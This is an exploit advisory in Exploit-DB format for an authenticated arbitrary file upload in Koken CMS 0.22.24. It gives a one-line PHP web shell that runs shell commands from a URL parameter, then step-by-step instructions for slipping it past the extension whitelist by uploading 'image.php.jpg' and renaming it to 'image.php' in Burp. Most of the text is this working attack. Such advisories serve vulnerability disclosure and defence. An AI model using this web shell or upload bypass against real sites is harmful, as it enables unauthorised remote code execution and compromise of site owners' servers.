# Exploit Title: Koken CMS 0.22.24 - Arbitrary File Upload (Authenticated)
# Date: 2020-07-15
# Exploit Author: v1n1v131r4
# Vendor Homepage: http://koken.me/
# Software Link: https://www.softaculous.com/apps/cms/Koken
# Version: 0.22.24
# Tested on: Linux
# PoC: https://github.com/V1n1v131r4/Bypass-File-Upload-on-Koken-CMS/blob/master/README.md

The Koken CMS upload restrictions are based on a list of allowed file extensions (withelist), which facilitates bypass through the handling of the HTTP request via Burp.

Steps to exploit:

1. Create a malicious PHP file with this content:

   <?php system($_GET['cmd']);?>

2. Save as "image.php.jpg"

3. Authenticated, go to Koken CMS Dashboard, upload your file on "Import Content" button (Library panel) and send the HTTP request to Burp.

4. On Burp, rename your file to "image.php"
